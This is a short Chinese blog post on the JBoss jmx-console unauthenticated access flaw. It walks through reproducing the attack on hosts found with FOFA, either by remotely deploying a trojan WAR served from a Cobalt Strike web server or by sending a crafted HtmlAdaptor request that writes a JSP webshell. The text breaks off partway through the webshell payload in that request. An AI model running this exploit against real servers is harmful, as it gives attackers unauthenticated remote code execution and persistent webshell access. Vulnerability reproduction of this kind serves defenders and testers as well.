JBOSS未授权访问

最新推荐文章于 2024-07-30 11:32:04 发布

流水~天涯

最新推荐文章于 2024-07-30 11:32:04 发布

阅读量1.3k

点赞数

分类专栏： web安全

本文链接：https://blog.youkuaiyun.com/jia3643/article/details/108847585

版权

本文详细介绍了JBOSS服务器存在的未授权访问漏洞，攻击者可以无需认证访问管理控制台，执行系统命令。复现漏洞有两种方法：一是通过部署页面远程部署木马；二是构造POC直接写入webshell。建议采取安全措施防止此类风险。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

0X01、漏洞描述

jobss 未授权访问管理控制台,通过该漏洞,可以后台管理服务,可以通过脚本命令执行系统命令,如反弹shell,wget写webshell文件。
fofa找个站，访问 //jmx-console/

在这里插入图片描述

0X02、漏洞复现

思路一
进入 jboss.deployment 部署页面
在这里插入图片描述
cs搭建web服务器，上传木马，通过addurl进行远程部署

部署成功后访问目录文件名，便可进入木马。eg:AAA.war 则访问 /AAA/index.jsp

思路二：直接构造poc

/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service=DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=AAA.war&argType=java.lang.String&arg1=wh&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=<%if(request.getParameter("f")!=null)